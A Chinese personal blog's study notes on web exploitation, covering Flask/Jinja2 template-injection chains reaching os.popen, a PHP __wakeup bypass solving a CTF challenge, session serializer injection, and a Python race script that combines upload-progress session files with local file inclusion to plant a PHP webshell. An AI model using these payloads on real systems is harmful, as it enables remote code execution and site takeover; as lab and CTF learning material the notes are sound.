x2658y's Blog

杂七杂八的记事本

Python中的特殊属性/方法/函数

SSTI中, 往往通过寻找基类->查找子类->执行危险函数来完成攻击, 需要了解一些Python类的特殊属性/方法/函数.

  • __class__: 对象的属性, 返回对象所属的类.

  • __mro__: 类的属性, 返回一个含有所有父类(包括间接父类和本类)的元组.

  • __base__: 类的属性, 返回类的直接父类.

  • __bases__: 类的属性, 返回类的所有直接父类. 跟__base__的区别在于, 如果子类是多继承, __base__只会返回一个, 而__bases__返回所有. __base__相当于__bases__[0].

  • __globals__: 函数的属性, 用于获取某个函数所在处位置的全局命名空间的变量, 当函数位于另一个模块时, 可以获取另一个模块的全局命名空间的变量.

  • __subclassess__(): 类的方法, 返回类的直接子类.

  • __dict__: 对象的属性, 一个字典, 储存对象的所有属性.

  • __init__(): 类的方法, 用于初始化对象. 在SSTI中用它作为跳板拿到__globals__属性. 如果声明类时未重载__init__(), 此时的__init__没有__globals__属性.

    未重载的__init__: <slot wrapper '__init__' of 'object' objects>

    重载过的__init__: <function A.__init__ at 0x00000257D3B0D1F0>

  • __import__: 这个函数在built-in命名空间里, 效果等同于import语句, 返回值是一个模块对象.

Flask的SSTI

Flask是一个流行的轻量级Web框架, 基于Python.

基本使用

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route('/') #设定路由/
def main():
return 'Hello World!' #函数的返回值作为网页传递给浏览器

if __name__ == '__main__':
app.run() #默认监听127.0.0.1:5000

使用模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, render_template_string


tpl = """
<h1>Hello {{ request.args.get("name") }}!<h1/>
"""
#可以在模板中使用request, session, config, g对象

app = Flask(__name__)

@app.route('/') #设定路由/
def main():
return render_template_string(tpl)

if __name__ == '__main__':
app.run(debug=True) #默认监听127.0.0.1:5000

提交一个name参数就可以看到回显了, 但是这个没法注入, 表达式已经执行过了.

image-20230409144519964

这样就可以注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, render_template_string, request


tpl = "<h1>Hello {0}!<h1/>"
#模板中可以使用的对象
#request, session, config, g, url_for
#namespace, lipsum, range, dict, self
#get_flashed_messages, cycler, joiner

app = Flask(__name__)

@app.route('/') #设定路由/
def main():
return render_template_string(tpl.format(request.args.get("name")))

if __name__ == '__main__':
app.run(debug=True) #默认监听127.0.0.1:5000
image-20230409150416232

表达式能被执行即可注入.

注入测试

就用上面的代码作为服务端.

找基类object

1
2
3
4
5
6
7
''.__class__.__mro__[1]        #把空字符串换成空字典和空列表也行, 下同
''.__class__.__base__
''.__class__.__bases__[0]
request.__class__.__mro__[-1]
request.__class__.__base__.__base__.__base__
request.__class__.__bases__[0].__bases__[0].__bases__[0]
#request可以换成session, config, g等, 但是类继承的层级不一样

主要就是利用__base____mro__这样的属性找到基类.

找重载过__init__()方法的子类

BurpSuite扫一下__subclasses__()返回的所有类, 根据回显判断__init__()是否被重载过, 也可以根据名字选择已知的某些特殊的类, 比如warnings.catch_warnings, 这个类中含有os模块无需导入.

image-20230409154648676
image-20230409154838014

比如这个索引为106的类就重载了__init__(), 接着访问函数的__globals__属性, 通过keys()查看有哪些变量

1
''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__.keys()

image-20230409155635438

可以看到, 有__builtins__, 于是可以通过__builtins__里的__import__()加载想要的模块, 比如os.

1
''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__["__builtins__"]["__import__"]("os").popen("dir").read()
image-20230409155959824

也可以用__builtins__里的eval()等函数实现RCE或者文件读取写入等功能.

Jinja2的特性

template中使用变量时, 可以用[]取代.的功能, 同理也可以用.取代[]的功能. 可以用这个来绕过.或者[]WAF.

1
2
{{ foo.bar }}
{{ foo['bar'] }}

这两行代码可以实现相同的功能, 但有一些细微的区别

foo.bar:

  • 首先执行getattr(foo, 'bar')
  • 如果没找到, 再执行foo.__getitem__('bar')
  • 都没找到, 返回一个未定义的对象

foo['bar']:

  • 首先执行foo.__getitem__('bar')
  • 如果没找到, 再执行getattr(foo, 'bar')
  • 都没找到, 返回一个未定义的对象

未完待续

unserialize() 反序列化产生一个对象时, 会检查对象是否存在一个__wakeup()方法, 如果有则先调用它进行反序列化前的准备工作, 例如重新建立数据库连接, 或执行其它初始化操作.

官方示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Connection
{
protected $link;
private $server, $username, $password, $db;

public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}

private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}

public function __sleep()
{
return array('server', 'username', 'password', 'db');
}

public function __wakeup()
{
$this->connect();
}
}
?>

当被反序列化的字符串中表示的对象属性个数大于对象实际的个数时, __wakeup()将被跳过执行.

实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php	//test.php
class ABC
{
public $a = 1;
public $b = 2;
function __wakeup(){
echo "Wake Up!";
}
}
$i = new ABC();
echo serialize($i);
//输出为
//O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}
?>

改一下代码

1
2
3
4
5
6
7
8
9
10
11
<?php	//test.php
class ABC
{
public $a = 1;
public $b = 2;
function __wakeup(){
echo "Wake Up!";
}
}
unserialize($_GET["str"]);
?>

把刚才的O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}带入参数str中请求

image-20230406231932410

反序列化触发了__wakeup()方法, 绕过只需要对属性个数进行修改

修改前:O:3:"ABC":2:{s:1:"a";i:1;s:1:"b";i:2;}

修改后:O:3:"ABC":3:{s:1:"a";i:1;s:1:"b";i:2;}

也就是从2个属性改成3个属性.

更改属性数量导致与实际数量不符会导致反序列化失败, 但是unserialize()会将遇到错误之前能填充的属性都填充上, 遇到错误之后再执行__destruct()将构造到一半的对象析构, 并返回一个false. 所以在__destruct()方法里可以正常访问已经被填充的属性.

接下来是一道CTF题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>

考点就是绕过__wakeup(), 首先生成Payload

1
2
3
4
5
6
7
8
9
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'ls';
}
$i = new ctf();
fwrite(fopen("data.bin", "wb"), serialize($i));
?>

访问一下, 查看data.bin文件

image-20230407000850092

仔细看的话可以发现, *的两边都各有一个\x00字节, 但是这在文本上是显示不出来的, 这也是为什么采用写入文件再查看这种麻烦的方式而不采用echo直接浏览器查看.

所以构造Payload的时候要采用%00\x00字节补上去.

所以Payload就是: O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

image-20230407001903508

因为cat被过滤了, 所以用tac就可以了

最终Payload: O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}

PHP的序列化处理器

PHP的序列化处理器有三种

  • php

    1
    2
    3
    4
    5
    6
    7
    8
    <?php 
    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION["abc"] = 123;
    $_SESSION["qwe"] = 789;
    //查看session文件内容为
    //abc|i:123;qwe|i:789;
    ?>
  • php_serialize

    PHP Version >= 5.5.4

    1
    2
    3
    4
    5
    6
    7
    8
    <?php 
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION["abc"] = 123;
    $_SESSION["qwe"] = 789;
    //查看session文件内容为
    //a:2:{s:3:"abc";i:123;s:3:"qwe";i:789;}
    ?>
  • php_binary

    1
    2
    3
    4
    5
    6
    <?php 
    ini_set('session.serialize_handler','php_binary');
    session_start();
    $_SESSION["abc"] = 123;
    $_SESSION["qwe"] = 789;
    ?>

    session文件的内容如下image-20230405173209240

以上三种序列化处理器的处理方式(KEY代表$_SESSION数组的键, 比如abc):

  • php
    • KEY+|+serialize($_Session["KEY"])+;
  • php_serialize
    • serialize($_Session)
  • php_binary
    • char(len(KEY))+KEY+serialize("KEY")+;

serialize()函数的序列化方式

[TO BE CONTINUE...]

PHP的会话机制

工作方式

PHP采用session来保存与用户的会话信息, 如果服务端开启了session(通过session_start()), 当用户访问页面时, 服务端会返回名为PHPSESSID(默认值, 取决于session.name)的Cookie.

1
2
3
<?php //session.php
session_start();
?>
image-20230405155158450

并且会在session的储存目录(取决于session.save_path, 我这里是~/tmp/, 因为通过docker搭建的环境为了方便, 所以映射到了宿主机的~/mapping/tmp/)下生成名为sess_ + PHPSESSID的文件

image-20230405155451142

服务端开启session, 如果用户访问时没有携带PHPSESSID, 服务端会生成一个PHPSESSID返回给用户, 并创建一个$_SESSION的变量, 服务端可以将和用户的会话信息存储在$_SESSION变量里, 当本次请求执行完成时, $_SESSION变量将被序列化处理器(取决于session.serialize_handler)序列化后写入到session的储存目录中. 当用户第二次访问时, 就会携带上PHPSESSID, 服务端根据PHPSESSID找到对应的文件, 通过反序列化处理器反序列化后将所得数据再次写回$_SESSION变量, 实现会话的数据保存.

测试:

1
2
3
4
5
6
7
8
<?php //counter.php
session_start();
if (isset($_SESSION["count"]))
$_SESSION["count"] += 1;
else
$_SESSION["count"] = 1;
echo $_SESSION["count"];
?>

连续访问15次, 浏览器依次显示1~15, 查看session文件

image-20230406202353502

如果服务端没有打开session.use_strict_mode(默认关闭), 可以主动控制PHPSESSID的值, 从而控制服务端session文件的名字, 后面可以通过这个特点结合文件包含实现上传恶意代码.

image-20230405165505081

image-20230405165443332

PHP_SESSION_UPLOAD_PROGRESS

有时候, 服务端并没有开启session, 这时候想通过常规方式往服务器写恶意的session文件就行不通了, 但是通常情况下, 服务器端默认开启了session.upload_progress.enabled这个选项. 当这个选项开启时, 无论服务端页面是否开启session(根据PHP文档的说法, 这个功能的优先级在脚本执行之前), 服务端都会生成PHPSESSID并将$_SESSION变量写入session储存目录.

上传页面, poc.html

1
2
3
4
5
<form action="http://vm-ubuntu.local/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

服务端页面, index.php, 为空就行

1
2
3
<?php
//Blank
?>

随便上传个文件, 抓包添加一个Cookie: PHPSESSID=123

image-20230406201929068

看起来貌似什么也没发生, 但是服务端实际上已经创建了一个名为sess_123session的文件, 然后迅速删掉了.

写个脚本快速地上传, 产生竞争, 就可以看到服务器上的文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import io

from concurrent.futures import ThreadPoolExecutor, ALL_COMPLETED, wait


pool = ThreadPoolExecutor(32)
task_list = []


def upload():
while True:
url = "http://vm-ubuntu.local/index.php"
headers = {"Cookie": "PHPSESSID=123"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "something"}
files = {"file": ("blank.bin", io.BytesIO(b'\xcc'*1024*1024))}
requests.post(url=url,
headers=headers,
data=data,
files=files)


for i in range(32):
task_list.append(pool.submit(upload))
wait(task_list, return_when=ALL_COMPLETED)

image-20230406202133601可以发现, 可控内容的地方有很多处, 只需要利用其中一处, 再和文件包含漏洞结合起来, 就可以实现恶意代码执行.

PHP_SESSION_UPLOAD_PROGRESS结合LFI

先创建一个有本地文件包含漏洞的页面

1
2
3
4
<?php    //lfi.php
if (isset($_GET["file"]))
include $_GET["file"];
?>

改造一下脚本, 使其能够通过竞争将恶意代码执行, 前提是知道session的储存位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import io

from concurrent.futures import ThreadPoolExecutor, ALL_COMPLETED, wait


pool = ThreadPoolExecutor(32)
task_list = []

payload = r"""<?php eval("fwrite(fopen('shell.php', 'wb'), '<?php @eval(\$_POST[\\'cmd\\']); ?>');"); ?>"""

def upload():
while True:
url = "http://vm-ubuntu.local/index.php"
headers = {"Cookie": "PHPSESSID=123"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": payload}
files = {'file': ("blank.bin", io.BytesIO(b'\xcc'*1024*1024))}
requests.post(url=url,
headers=headers,
data=data,
files=files)


def write_shell():
while True:
url = "http://vm-ubuntu.local/lfi.php"
params = {"file": "/tmp/sess_123"}
requests.get(url=url, params=params)


for i in range(16):
task_list.append(pool.submit(upload))
task_list.append(pool.submit(write_shell))
wait(task_list, return_when=ALL_COMPLETED)

于是就可以成功写入webshell.

反序列化漏洞

错误组合不同的序列化处理器导致漏洞

PHP序列化和反序列化$_SESSION变量的方式由session.serialize_handler决定, php_serialize5.5.4及以上的版本才可用, 如在一个页面采用php_serialize进行序列化, 而另一个页面采用php来反序列化, 就会导致session注入漏洞.

实例:

1
2
3
4
5
6
<?php    //pageA.php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION["name"] = $_GET["name"];
$_SESSION["age"] = $_GET["age"];
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php    //pageB.php
ini_set("session.serialize_handler", "php");
session_start();

class Vul
{
public $greet;
function __wakeup(){
echo "Exploited"."<br/>";
}

function __destruct(){
echo $this->greet."<br/>";
}
}
$i = new Vul();
$i->greet = "Hello!";
echo serialize($i)."<br/>";
?>

请求pageA.php

image-20230406215450264

查看session文件

image-20230406215515412

可以通过控制name或者age的值来实现注入, 在前面加上|, php序列化处理器就会认为|前面的是键, 后面是键对应的值序列化后的内容.

构造URL: http://vm-ubuntu.local/pageA.php?name=abc&age=|O:3:"Vul":1:{s:5:"greet";s:6:"Hahaha";};

请求之后再次查看session文件

image-20230406215648038

此时再去请求pageB.php

image-20230406215830337

成功的调用了pageB.phpVul类的__wakeup()方法, 并实现了控制对象内部变量的值.

关于这个输出是怎么来的:

1
2
3
4
Exploited    //对session文件进行反序列化前调用__wakeup()
O:3:"Vul":1:{s:5:"greet";s:6:"Hello!";} //echo serialize($i)."<br/>" 的输出
Hello! //执行结束, 变量$i析构的时候调用__destruct()函数
Hahaha //执行结束, $_SESSION变量中的对象析构的时候调用__destruct()函数

参考:

  1. 浅谈 SESSION_UPLOAD_PROGRESS 的利用 - 腾讯云开发者社区-腾讯云 (tencent.com)
  2. php序列化 - l3m0n - 博客园 (cnblogs.com)
  3. 带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com)
  4. PHP: Session 上传进度 - Manual
0%